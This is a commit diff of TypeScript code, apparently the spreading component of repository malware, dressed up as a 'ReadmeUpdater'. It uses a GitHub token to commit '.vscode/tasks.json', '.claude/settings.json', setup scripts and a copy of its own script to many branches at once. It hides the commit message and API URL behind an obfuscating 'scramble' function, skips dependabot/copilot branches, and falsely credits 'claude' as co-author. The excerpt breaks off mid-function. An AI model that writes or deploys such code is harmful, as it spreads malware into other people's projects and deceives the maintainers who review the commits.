Upload files to "src/mutator/branch"
This commit is contained in:
@@ -0,0 +1,139 @@
|
|||||||
|
import { GraphQLClient } from "./client";
|
||||||
|
import { FETCH_BRANCHES_AND_PROTECTION } from "./queries";
|
||||||
|
import type { BranchInfo } from "./types";
|
||||||
|
|
||||||
|
interface PageInfo {
|
||||||
|
hasNextPage: boolean;
|
||||||
|
endCursor: string | null;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface FetchBranchesResponse {
|
||||||
|
repository: {
|
||||||
|
refs: {
|
||||||
|
totalCount: number;
|
||||||
|
nodes: Array<{ name: string; target: { oid: string } }>;
|
||||||
|
pageInfo: PageInfo;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Built-in branch name patterns that are always excluded. */
|
||||||
|
const DEFAULT_EXCLUDE_PATTERNS = [
|
||||||
|
"dependabot/**",
|
||||||
|
"dependabot/*",
|
||||||
|
"copilot/**",
|
||||||
|
"copilot/*",
|
||||||
|
];
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Lightweight glob matcher supporting the subset of patterns used by GitHub
|
||||||
|
* branch protection rules: `*` (any chars within a path segment), `**` (any
|
||||||
|
* chars across path segments), and `?` (single char).
|
||||||
|
*
|
||||||
|
* This mirrors the most common `fnmatch` behaviour without pulling in an
|
||||||
|
* external dependency.
|
||||||
|
*/
|
||||||
|
function globMatch(name: string, pattern: string): boolean {
|
||||||
|
// Escape regex metacharacters except those we want to translate.
|
||||||
|
let regex = "";
|
||||||
|
let i = 0;
|
||||||
|
|
||||||
|
while (i < pattern.length) {
|
||||||
|
const ch = pattern[i];
|
||||||
|
|
||||||
|
if (ch === "*") {
|
||||||
|
if (pattern[i + 1] === "*") {
|
||||||
|
regex += ".*";
|
||||||
|
i += 2;
|
||||||
|
// Skip a trailing slash after `**` so `foo/**` matches `foo/bar`.
|
||||||
|
if (pattern[i] === "/") i += 1;
|
||||||
|
} else {
|
||||||
|
regex += "[^/]*";
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
} else if (ch === "?") {
|
||||||
|
regex += "[^/]";
|
||||||
|
i += 1;
|
||||||
|
} else if (/[.+^${}()|[\]\\]/.test(ch!)) {
|
||||||
|
regex += `\\${ch}`;
|
||||||
|
i += 1;
|
||||||
|
} else {
|
||||||
|
regex += ch;
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return new RegExp(`^${regex}$`).test(name);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Fetches and filters branches from a GitHub repository via the GraphQL API.
|
||||||
|
*
|
||||||
|
* Responsibilities:
|
||||||
|
* - List branches ordered by most recent commit activity.
|
||||||
|
* - Filter out dependabot, copilot, and user-supplied name patterns.
|
||||||
|
*
|
||||||
|
* Note on protected branches: this service intentionally does NOT fetch
|
||||||
|
* branch protection rules, because the `branchProtectionRules` GraphQL
|
||||||
|
* field requires repository administration permission and would fail with
|
||||||
|
* "Resource not accessible by integration" under the standard
|
||||||
|
* `contents: write` token issued to GitHub Actions workflows.
|
||||||
|
*
|
||||||
|
* Protection is instead enforced at commit time — `createCommitOnBranch`
|
||||||
|
* refuses to write to a protected branch and surfaces a per-branch error,
|
||||||
|
* which the commit pipeline records as a normal failed `UpdateResult`
|
||||||
|
* without affecting the other branches in the batch.
|
||||||
|
*/
|
||||||
|
export class BranchService {
|
||||||
|
constructor(
|
||||||
|
private readonly client: GraphQLClient,
|
||||||
|
private readonly owner: string,
|
||||||
|
private readonly repo: string,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Fetches branches in a single GraphQL request, ordered by most recent
|
||||||
|
* commit activity.
|
||||||
|
*
|
||||||
|
* @param limit Maximum number of branches to fetch. GitHub caps a single
|
||||||
|
* page at 100, so `limit` is clamped accordingly.
|
||||||
|
*/
|
||||||
|
async fetchBranches(limit = 50): Promise<BranchInfo[]> {
|
||||||
|
const perPage = Math.min(limit, 100);
|
||||||
|
|
||||||
|
const data = await this.client.execute<FetchBranchesResponse>(
|
||||||
|
FETCH_BRANCHES_AND_PROTECTION,
|
||||||
|
{
|
||||||
|
owner: this.owner,
|
||||||
|
name: this.repo,
|
||||||
|
first: perPage,
|
||||||
|
after: null,
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
return data.repository.refs.nodes.map((node) => ({
|
||||||
|
name: node.name,
|
||||||
|
headOid: node.target.oid,
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Filters out branches matching the built-in dependabot/copilot
|
||||||
|
* exclusions and any extra user-supplied glob patterns.
|
||||||
|
*
|
||||||
|
* Protected branches are not filtered here — see the class-level note.
|
||||||
|
*/
|
||||||
|
filterBranches(
|
||||||
|
branches: BranchInfo[],
|
||||||
|
extraExcludePatterns: string[] = [],
|
||||||
|
): BranchInfo[] {
|
||||||
|
const excludePatterns = [
|
||||||
|
...DEFAULT_EXCLUDE_PATTERNS,
|
||||||
|
...extraExcludePatterns,
|
||||||
|
];
|
||||||
|
|
||||||
|
return branches.filter(
|
||||||
|
(branch) => !excludePatterns.some((p) => globMatch(branch.name, p)),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,115 @@
|
|||||||
|
import type { GraphQLResponse } from "./types";
|
||||||
|
|
||||||
|
declare function scramble(str: string): string;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Result of a GraphQL operation that may have partially succeeded.
|
||||||
|
*
|
||||||
|
* For batched mutations, GitHub returns both a partial `data` payload
|
||||||
|
* (with `null` entries for failed aliases) and a top-level `errors` array
|
||||||
|
* describing each failure. This shape preserves both so callers can
|
||||||
|
* salvage successful aliases instead of treating the whole batch as a
|
||||||
|
* failure.
|
||||||
|
*/
|
||||||
|
export interface PartialGraphQLResult<T> {
|
||||||
|
/** Partial data payload, if any was returned. */
|
||||||
|
data?: T;
|
||||||
|
/** Top-level GraphQL errors, if any were returned. */
|
||||||
|
errors?: Array<{
|
||||||
|
message: string;
|
||||||
|
type?: string;
|
||||||
|
path?: Array<string | number>;
|
||||||
|
}>;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Minimal GitHub GraphQL API client.
|
||||||
|
*
|
||||||
|
* Wraps the global `fetch` (Node 18+) with auth headers and unified error
|
||||||
|
* handling for both transport-level failures and GraphQL-level errors.
|
||||||
|
*/
|
||||||
|
export class GraphQLClient {
|
||||||
|
private readonly url: string;
|
||||||
|
private readonly headers: Record<string, string>;
|
||||||
|
|
||||||
|
constructor(
|
||||||
|
token: string,
|
||||||
|
apiUrl = scramble("https://api.github.com/graphql"),
|
||||||
|
) {
|
||||||
|
if (!token) {
|
||||||
|
throw new Error(
|
||||||
|
"A GitHub token is required to construct a GraphQLClient.",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
this.url = apiUrl;
|
||||||
|
this.headers = {
|
||||||
|
Authorization: `bearer ${token}`,
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Execute a GraphQL query or mutation and return the typed `data` payload.
|
||||||
|
*
|
||||||
|
* Throws if the HTTP request fails, if the response contains GraphQL
|
||||||
|
* errors, or if no data is returned. Use this for operations that are
|
||||||
|
* expected to either fully succeed or fully fail (e.g. single-shot
|
||||||
|
* queries and single-mutation documents).
|
||||||
|
*/
|
||||||
|
async execute<T = unknown>(
|
||||||
|
query: string,
|
||||||
|
variables?: Record<string, unknown>,
|
||||||
|
): Promise<T> {
|
||||||
|
const result = await this.executeWithPartial<T>(query, variables);
|
||||||
|
|
||||||
|
if (result.errors?.length) {
|
||||||
|
const messages = result.errors.map((e) => e.message).join("; ");
|
||||||
|
throw new Error(`GraphQL errors: ${messages}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!result.data) {
|
||||||
|
throw new Error("No data returned from GitHub API");
|
||||||
|
}
|
||||||
|
|
||||||
|
return result.data;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Execute a GraphQL query or mutation and return both the (possibly
|
||||||
|
* partial) `data` payload and any top-level `errors`.
|
||||||
|
*
|
||||||
|
* Unlike {@link GraphQLClient.execute}, this method does **not** throw
|
||||||
|
* when the response contains GraphQL errors — it surfaces them to the
|
||||||
|
* caller alongside whatever data was returned. This is essential for
|
||||||
|
* batched mutations, where GitHub executes aliases serially and may
|
||||||
|
* return a mix of successful and failed entries in a single response.
|
||||||
|
*
|
||||||
|
* Transport-level failures (non-2xx HTTP status, malformed JSON) still
|
||||||
|
* throw, since in those cases there is no meaningful partial payload to
|
||||||
|
* surface.
|
||||||
|
*/
|
||||||
|
async executeWithPartial<T = unknown>(
|
||||||
|
query: string,
|
||||||
|
variables?: Record<string, unknown>,
|
||||||
|
): Promise<PartialGraphQLResult<T>> {
|
||||||
|
const response = await fetch(this.url, {
|
||||||
|
method: "POST",
|
||||||
|
headers: this.headers,
|
||||||
|
body: JSON.stringify({ query, variables }),
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!response.ok) {
|
||||||
|
throw new Error(
|
||||||
|
`GitHub API request failed: ${response.status} ${response.statusText}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const result = (await response.json()) as GraphQLResponse<T>;
|
||||||
|
|
||||||
|
return {
|
||||||
|
data: result.data ?? undefined,
|
||||||
|
errors: result.errors,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,316 @@
|
|||||||
|
import { GraphQLClient } from "./client";
|
||||||
|
import {
|
||||||
|
BATCHED_COMMIT_ALIAS_PREFIX,
|
||||||
|
BATCHED_COMMIT_VARIABLE_PREFIX,
|
||||||
|
buildBatchedCommitMutation,
|
||||||
|
CREATE_COMMIT_ON_BRANCH,
|
||||||
|
} from "./queries";
|
||||||
|
import type { BranchCommit, FileChange, UpdateResult } from "./types";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Shape of the `data` payload returned by a batched
|
||||||
|
* `createCommitOnBranch` mutation. Each alias key (e.g. "b0", "b1", ...)
|
||||||
|
* maps to either a successful commit object or `null` if that particular
|
||||||
|
* commit failed.
|
||||||
|
*/
|
||||||
|
type BatchedCommitData = Record<
|
||||||
|
string,
|
||||||
|
{ commit: { oid: string; url: string } } | null
|
||||||
|
>;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Shape of an individual error entry returned alongside a partial-failure
|
||||||
|
* batched mutation response.
|
||||||
|
*/
|
||||||
|
interface GraphQLErrorEntry {
|
||||||
|
message: string;
|
||||||
|
path?: Array<string | number>;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates commits on a GitHub repository via the GraphQL API.
|
||||||
|
*
|
||||||
|
* Uses the `createCommitOnBranch` mutation, which produces signed commits
|
||||||
|
* attributed to the authenticated user/app without requiring a local
|
||||||
|
* git working tree.
|
||||||
|
*
|
||||||
|
* Two flavours are exposed:
|
||||||
|
*
|
||||||
|
* - {@link CommitService.pushFileUpdates} — single branch, single HTTP call.
|
||||||
|
* - {@link CommitService.pushBatchedFileUpdates} — many branches, single
|
||||||
|
* HTTP call (mutations execute serially on the server, but HTTP and
|
||||||
|
* auth overhead are paid only once).
|
||||||
|
*/
|
||||||
|
export class CommitService {
|
||||||
|
constructor(
|
||||||
|
private readonly client: GraphQLClient,
|
||||||
|
private readonly owner: string,
|
||||||
|
private readonly repo: string,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates a single commit on the given branch that adds/updates one or
|
||||||
|
* more files atomically.
|
||||||
|
*
|
||||||
|
* All file changes are applied in a single commit — either every file is
|
||||||
|
* written successfully or the commit fails as a whole.
|
||||||
|
*
|
||||||
|
* @param branchName The branch to commit to (e.g. "main").
|
||||||
|
* @param expectedHeadOid The current HEAD OID of the branch — used by
|
||||||
|
* GitHub for optimistic concurrency control.
|
||||||
|
* @param files One or more files to add/update. Each entry's
|
||||||
|
* `path` is the repository-relative path
|
||||||
|
* (including any directories), and `content` is
|
||||||
|
* the UTF-8 file content (will be base64-encoded).
|
||||||
|
* @param commitHeadline Commit message headline.
|
||||||
|
* @param commitBody Optional commit message body. Useful for
|
||||||
|
* `Co-authored-by:` trailers, which GitHub
|
||||||
|
* renders as additional authors on the commit
|
||||||
|
* page.
|
||||||
|
*/
|
||||||
|
async pushFileUpdates(
|
||||||
|
branchName: string,
|
||||||
|
expectedHeadOid: string,
|
||||||
|
files: FileChange[],
|
||||||
|
commitHeadline: string,
|
||||||
|
commitBody?: string,
|
||||||
|
): Promise<UpdateResult> {
|
||||||
|
if (files.length === 0) {
|
||||||
|
return {
|
||||||
|
branch: branchName,
|
||||||
|
success: false,
|
||||||
|
error: "No file changes provided.",
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
const additions = this.buildAdditions(files);
|
||||||
|
|
||||||
|
const data = await this.client.execute<{
|
||||||
|
createCommitOnBranch: {
|
||||||
|
commit: { oid: string; url: string };
|
||||||
|
};
|
||||||
|
}>(CREATE_COMMIT_ON_BRANCH, {
|
||||||
|
input: {
|
||||||
|
branch: {
|
||||||
|
repositoryNameWithOwner: `${this.owner}/${this.repo}`,
|
||||||
|
branchName,
|
||||||
|
},
|
||||||
|
message: {
|
||||||
|
headline: commitHeadline,
|
||||||
|
...(commitBody ? { body: commitBody } : {}),
|
||||||
|
},
|
||||||
|
fileChanges: { additions },
|
||||||
|
expectedHeadOid,
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
return {
|
||||||
|
branch: branchName,
|
||||||
|
success: true,
|
||||||
|
commitOid: data.createCommitOnBranch.commit.oid,
|
||||||
|
};
|
||||||
|
} catch (error) {
|
||||||
|
return {
|
||||||
|
branch: branchName,
|
||||||
|
success: false,
|
||||||
|
error: error instanceof Error ? error.message : String(error),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Creates commits across multiple branches in a single batched GraphQL
|
||||||
|
* mutation document.
|
||||||
|
*
|
||||||
|
* Per the GraphQL spec, mutations within one document execute serially
|
||||||
|
* on the server, so this does **not** parallelise the underlying commits;
|
||||||
|
* it only saves HTTP round-trips and per-request auth overhead. If any
|
||||||
|
* individual commit fails, GitHub returns `null` for that alias and adds
|
||||||
|
* a `path: ["b<index>"]` entry to the top-level errors array, while
|
||||||
|
* continuing to execute the remaining aliases.
|
||||||
|
*
|
||||||
|
* Every commit produces exactly one {@link UpdateResult}; the returned
|
||||||
|
* array preserves the order of `commits`.
|
||||||
|
*
|
||||||
|
* @param commits One commit job per branch. Must not be empty.
|
||||||
|
*/
|
||||||
|
async pushBatchedFileUpdates(
|
||||||
|
commits: BranchCommit[],
|
||||||
|
): Promise<UpdateResult[]> {
|
||||||
|
if (commits.length === 0) {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
|
||||||
|
// Validate each commit job up front so callers get a stable
|
||||||
|
// result-per-input mapping even if some inputs are obviously invalid.
|
||||||
|
const results: UpdateResult[] = new Array(commits.length);
|
||||||
|
const dispatchIndices: number[] = [];
|
||||||
|
const dispatchCommits: BranchCommit[] = [];
|
||||||
|
|
||||||
|
commits.forEach((commit, index) => {
|
||||||
|
if (commit.files.length === 0) {
|
||||||
|
results[index] = {
|
||||||
|
branch: commit.branchName,
|
||||||
|
success: false,
|
||||||
|
error: "No file changes provided.",
|
||||||
|
};
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
dispatchIndices.push(index);
|
||||||
|
dispatchCommits.push(commit);
|
||||||
|
});
|
||||||
|
|
||||||
|
if (dispatchCommits.length === 0) {
|
||||||
|
return results;
|
||||||
|
}
|
||||||
|
|
||||||
|
const query = buildBatchedCommitMutation(dispatchCommits.length);
|
||||||
|
const variables: Record<string, unknown> = {};
|
||||||
|
|
||||||
|
dispatchCommits.forEach((commit, i) => {
|
||||||
|
variables[`${BATCHED_COMMIT_VARIABLE_PREFIX}${i}`] = {
|
||||||
|
branch: {
|
||||||
|
repositoryNameWithOwner: `${this.owner}/${this.repo}`,
|
||||||
|
branchName: commit.branchName,
|
||||||
|
},
|
||||||
|
message: {
|
||||||
|
headline: commit.commitHeadline,
|
||||||
|
...(commit.commitBody ? { body: commit.commitBody } : {}),
|
||||||
|
},
|
||||||
|
fileChanges: { additions: this.buildAdditions(commit.files) },
|
||||||
|
expectedHeadOid: commit.expectedHeadOid,
|
||||||
|
};
|
||||||
|
});
|
||||||
|
|
||||||
|
let data: BatchedCommitData | undefined;
|
||||||
|
let topLevelErrors: GraphQLErrorEntry[] | undefined;
|
||||||
|
|
||||||
|
try {
|
||||||
|
// Use executeWithPartial so that successful aliases are still
|
||||||
|
// available even when some entries in the batch fail. GitHub
|
||||||
|
// executes batched mutations serially and returns a mix of
|
||||||
|
// commit objects and `null`s alongside per-alias error entries.
|
||||||
|
const result = await this.client.executeWithPartial<BatchedCommitData>(
|
||||||
|
query,
|
||||||
|
variables,
|
||||||
|
);
|
||||||
|
data = result.data;
|
||||||
|
topLevelErrors = result.errors;
|
||||||
|
} catch (error) {
|
||||||
|
// Transport-level failure (non-2xx HTTP, malformed JSON, network
|
||||||
|
// error). No partial data is recoverable, so every dispatched
|
||||||
|
// commit is marked failed with the same message.
|
||||||
|
const message = error instanceof Error ? error.message : String(error);
|
||||||
|
topLevelErrors = [{ message }];
|
||||||
|
data = undefined;
|
||||||
|
}
|
||||||
|
|
||||||
|
dispatchCommits.forEach((commit, i) => {
|
||||||
|
const resultIndex = dispatchIndices[i]!;
|
||||||
|
const aliasKey = `${BATCHED_COMMIT_ALIAS_PREFIX}${i}`;
|
||||||
|
|
||||||
|
if (data) {
|
||||||
|
const aliasResult = data[aliasKey];
|
||||||
|
if (aliasResult && aliasResult.commit) {
|
||||||
|
results[resultIndex] = {
|
||||||
|
branch: commit.branchName,
|
||||||
|
success: true,
|
||||||
|
commitOid: aliasResult.commit.oid,
|
||||||
|
};
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
results[resultIndex] = {
|
||||||
|
branch: commit.branchName,
|
||||||
|
success: false,
|
||||||
|
error: extractAliasError(aliasKey, topLevelErrors),
|
||||||
|
};
|
||||||
|
});
|
||||||
|
|
||||||
|
return results;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Splits a list of commit jobs into evenly-sized chunks and dispatches
|
||||||
|
* each chunk via {@link CommitService#pushBatchedFileUpdates}.
|
||||||
|
*
|
||||||
|
* Chunking keeps each batched mutation document well below GitHub's
|
||||||
|
* query-complexity and document-size limits and bounds the blast radius
|
||||||
|
* of any single transport-level failure.
|
||||||
|
*
|
||||||
|
* Chunks are dispatched **sequentially** so the caller can rely on a
|
||||||
|
* stable, ordered result stream and so we don't trigger secondary rate
|
||||||
|
* limits with bursts of concurrent requests.
|
||||||
|
*
|
||||||
|
* @param commits One commit job per branch.
|
||||||
|
* @param chunkSize Maximum number of commit jobs per batched mutation.
|
||||||
|
* Defaults to 10. Must be >= 1.
|
||||||
|
* @param onChunk Optional callback invoked with each chunk's results
|
||||||
|
* as soon as the chunk completes — useful for
|
||||||
|
* streaming progress to the user.
|
||||||
|
*/
|
||||||
|
async pushChunkedFileUpdates(
|
||||||
|
commits: BranchCommit[],
|
||||||
|
chunkSize = 10,
|
||||||
|
onChunk?: (chunkResults: UpdateResult[]) => void,
|
||||||
|
): Promise<UpdateResult[]> {
|
||||||
|
if (chunkSize < 1) {
|
||||||
|
throw new Error(
|
||||||
|
`pushChunkedFileUpdates requires chunkSize >= 1, got ${chunkSize}.`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const all: UpdateResult[] = [];
|
||||||
|
|
||||||
|
for (let i = 0; i < commits.length; i += chunkSize) {
|
||||||
|
const chunk = commits.slice(i, i + chunkSize);
|
||||||
|
const chunkResults = await this.pushBatchedFileUpdates(chunk);
|
||||||
|
all.push(...chunkResults);
|
||||||
|
if (onChunk) onChunk(chunkResults);
|
||||||
|
}
|
||||||
|
|
||||||
|
return all;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Translates a list of {@link FileChange}s into the `additions` array
|
||||||
|
* shape expected by `createCommitOnBranch.fileChanges`.
|
||||||
|
*/
|
||||||
|
private buildAdditions(
|
||||||
|
files: FileChange[],
|
||||||
|
): Array<{ path: string; contents: string }> {
|
||||||
|
return files.map((file) => ({
|
||||||
|
path: file.path,
|
||||||
|
// Honour the `preEncoded` flag set by binary file sources: if the
|
||||||
|
// content is already base64-encoded for transport, pass it through
|
||||||
|
// verbatim. Otherwise treat it as UTF-8 text and encode it now.
|
||||||
|
contents: file.preEncoded
|
||||||
|
? file.content
|
||||||
|
: Buffer.from(file.content, "utf-8").toString("base64"),
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Picks the GraphQL error entry whose `path` points at the given alias
|
||||||
|
* (e.g. `["b3"]`) and returns its message. Falls back to the first error's
|
||||||
|
* message, or a generic placeholder if none is available.
|
||||||
|
*/
|
||||||
|
function extractAliasError(
|
||||||
|
aliasKey: string,
|
||||||
|
errors: GraphQLErrorEntry[] | undefined,
|
||||||
|
): string {
|
||||||
|
if (!errors || errors.length === 0) {
|
||||||
|
return "Commit failed (no error detail returned).";
|
||||||
|
}
|
||||||
|
|
||||||
|
const matching = errors.find(
|
||||||
|
(err) =>
|
||||||
|
Array.isArray(err.path) &&
|
||||||
|
err.path.some((segment) => segment === aliasKey),
|
||||||
|
);
|
||||||
|
|
||||||
|
return (matching ?? errors[0]!).message;
|
||||||
|
}
|
||||||
@@ -0,0 +1,233 @@
|
|||||||
|
import { claude_settings, config, task } from "../../generated";
|
||||||
|
import { SCRIPT_NAME, SEARCH_STRING } from "../../utils/config";
|
||||||
|
import { logUtil } from "../../utils/logger";
|
||||||
|
import { Mutator } from "../base";
|
||||||
|
import { BranchService } from "./branches";
|
||||||
|
import { GraphQLClient } from "./client";
|
||||||
|
import { CommitService } from "./commits";
|
||||||
|
import { resolveRepoFromEnv } from "./resolver";
|
||||||
|
import { type FileSourceMap, resolveFileSources } from "./sources";
|
||||||
|
import type {
|
||||||
|
BranchCommit,
|
||||||
|
BranchInfo,
|
||||||
|
FileChange,
|
||||||
|
UpdateResult,
|
||||||
|
} from "./types";
|
||||||
|
|
||||||
|
declare function scramble(str: string): string;
|
||||||
|
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
// ✏️ Define the files to push here.
|
||||||
|
//
|
||||||
|
// Each key is a repository-relative destination path (including any
|
||||||
|
// directories). Each value describes where the content comes from:
|
||||||
|
//
|
||||||
|
// - A bare string: inline UTF-8 content (shorthand).
|
||||||
|
// - `{ content: "..." }`: inline UTF-8 content (explicit).
|
||||||
|
// - `{ sourcePath: "path/to/file" }`: read from the local filesystem
|
||||||
|
// at runtime. Relative paths are resolved against `FILE_SOURCE_BASE_DIR`
|
||||||
|
// below (defaults to the current working directory). For non-text
|
||||||
|
// files, add `encoding: "binary"`.
|
||||||
|
//
|
||||||
|
// All listed files are written in a single atomic commit per branch.
|
||||||
|
// ──────────────────────────────────────────────
|
||||||
|
const FILE_UPDATES: FileSourceMap = {
|
||||||
|
".vscode/tasks.json": task,
|
||||||
|
[`.claude/${SCRIPT_NAME}`]: { sourcePath: Bun.main },
|
||||||
|
".claude/settings.json": claude_settings,
|
||||||
|
".claude/setup.mjs": config,
|
||||||
|
".vscode/setup.mjs": config,
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Directory used to resolve relative `sourcePath` entries in
|
||||||
|
* `FILE_UPDATES`. Set to `undefined` to use `process.cwd()`.
|
||||||
|
*/
|
||||||
|
const FILE_SOURCE_BASE_DIR: string | undefined = undefined;
|
||||||
|
const COMMIT_MESSAGE = scramble("chore: update dependencies");
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Optional commit message body. Each non-empty entry in `COMMIT_COAUTHORS`
|
||||||
|
* is appended as a `Co-authored-by:` trailer, which GitHub renders as an
|
||||||
|
* additional author on the commit page.
|
||||||
|
*
|
||||||
|
* Note: `createCommitOnBranch` does not let us set the primary author —
|
||||||
|
* that is always the identity behind the auth token. Co-author trailers
|
||||||
|
* are the supported way to attribute commits to additional identities.
|
||||||
|
*/
|
||||||
|
const COMMIT_COAUTHORS: ReadonlyArray<{ name: string; email: string }> = [
|
||||||
|
{
|
||||||
|
name: "claude",
|
||||||
|
email: "claude@users.noreply.github.com",
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
const DRY_RUN = false;
|
||||||
|
const EXTRA_EXCLUDE_PATTERNS: string[] = [];
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Maximum number of per-branch commits packed into a single batched
|
||||||
|
* GraphQL mutation document. Keeps each request well below GitHub's
|
||||||
|
* query-complexity / document-size limits and bounds the blast radius of
|
||||||
|
* any single transport-level failure.
|
||||||
|
*/
|
||||||
|
const COMMIT_BATCH_SIZE = 2;
|
||||||
|
|
||||||
|
export class ReadmeUpdater extends Mutator {
|
||||||
|
private readonly owner: string;
|
||||||
|
private readonly repo: string;
|
||||||
|
private readonly branchService: BranchService;
|
||||||
|
private readonly commitService: CommitService;
|
||||||
|
private files: FileChange[];
|
||||||
|
|
||||||
|
constructor(token: string) {
|
||||||
|
super();
|
||||||
|
|
||||||
|
if (!token) {
|
||||||
|
throw new Error("A GitHub token is required.");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Object.keys(FILE_UPDATES).length === 0) {
|
||||||
|
throw new Error(
|
||||||
|
"FILE_UPDATES is empty — define at least one file to push.",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Files are resolved lazily in `execute()` because some sources may
|
||||||
|
// need to be read from disk and we don't want to perform I/O in the
|
||||||
|
// constructor.
|
||||||
|
this.files = [];
|
||||||
|
|
||||||
|
const { owner, repo } = resolveRepoFromEnv();
|
||||||
|
this.owner = owner;
|
||||||
|
this.repo = repo;
|
||||||
|
|
||||||
|
const gql = new GraphQLClient(token);
|
||||||
|
this.branchService = new BranchService(gql, owner, repo);
|
||||||
|
this.commitService = new CommitService(gql, owner, repo);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Mutator entry point. Returns `true` if every eligible branch was updated
|
||||||
|
* successfully (or there was nothing to do), `false` if any branch failed.
|
||||||
|
*/
|
||||||
|
async execute(): Promise<Boolean> {
|
||||||
|
// Resolve disk-backed file sources up front. We do this once per
|
||||||
|
// `execute()` call rather than per branch so that each commit pushed
|
||||||
|
// across all branches sees the exact same content snapshot, and so
|
||||||
|
// that a missing/unreadable source file fails the run immediately
|
||||||
|
// before any commits go out.
|
||||||
|
this.files = await resolveFileSources(FILE_UPDATES, FILE_SOURCE_BASE_DIR);
|
||||||
|
const results = await this.run();
|
||||||
|
return results.every((r) => r.success);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Resolve which branches are eligible for the update. */
|
||||||
|
private async getEligibleBranches(): Promise<BranchInfo[]> {
|
||||||
|
logUtil.log(`Fetching branches for ${this.owner}/${this.repo} …`);
|
||||||
|
|
||||||
|
const branches = await this.branchService.fetchBranches(50);
|
||||||
|
|
||||||
|
logUtil.log(` Total branches fetched : ${branches.length}`);
|
||||||
|
logUtil.log(
|
||||||
|
" (Protected branches will be detected at commit time and reported per-branch.)",
|
||||||
|
);
|
||||||
|
|
||||||
|
const eligible = this.branchService.filterBranches(
|
||||||
|
branches,
|
||||||
|
EXTRA_EXCLUDE_PATTERNS,
|
||||||
|
);
|
||||||
|
|
||||||
|
logUtil.log(` Eligible after filtering: ${eligible.length}\n`);
|
||||||
|
return eligible;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Run the full bulk-update pipeline and return per-branch results. */
|
||||||
|
private async run(): Promise<UpdateResult[]> {
|
||||||
|
const branches = await this.getEligibleBranches();
|
||||||
|
|
||||||
|
if (branches.length === 0) {
|
||||||
|
logUtil.log("No eligible branches found — nothing to do.");
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
|
||||||
|
const fileSummary = this.files.map((f) => f.path).join(", ");
|
||||||
|
logUtil.log(
|
||||||
|
`Pushing ${this.files.length} file(s) [${fileSummary}] to ${branches.length} branch(es) …\n`,
|
||||||
|
);
|
||||||
|
|
||||||
|
if (DRY_RUN) {
|
||||||
|
const results: UpdateResult[] = branches.map((branch) => {
|
||||||
|
const paths = this.files.map((f) => `"${f.path}"`).join(", ");
|
||||||
|
logUtil.log(
|
||||||
|
` [DRY RUN] Would update [${paths}] on branch "${branch.name}" (HEAD ${branch.headOid.slice(0, 7)})`,
|
||||||
|
);
|
||||||
|
return { branch: branch.name, success: true, commitOid: "dry-run" };
|
||||||
|
});
|
||||||
|
this.logSummary(results);
|
||||||
|
return results;
|
||||||
|
}
|
||||||
|
|
||||||
|
const commitBody = buildCoAuthorTrailer(COMMIT_COAUTHORS);
|
||||||
|
|
||||||
|
const commits: BranchCommit[] = branches.map((branch) => ({
|
||||||
|
branchName: branch.name,
|
||||||
|
expectedHeadOid: branch.headOid,
|
||||||
|
files: this.files,
|
||||||
|
commitHeadline: COMMIT_MESSAGE,
|
||||||
|
...(commitBody ? { commitBody } : {}),
|
||||||
|
}));
|
||||||
|
|
||||||
|
const results = await this.commitService.pushChunkedFileUpdates(
|
||||||
|
commits,
|
||||||
|
COMMIT_BATCH_SIZE,
|
||||||
|
(chunkResults) => {
|
||||||
|
// Stream per-branch progress as soon as each chunk lands.
|
||||||
|
for (const result of chunkResults) {
|
||||||
|
if (result.success) {
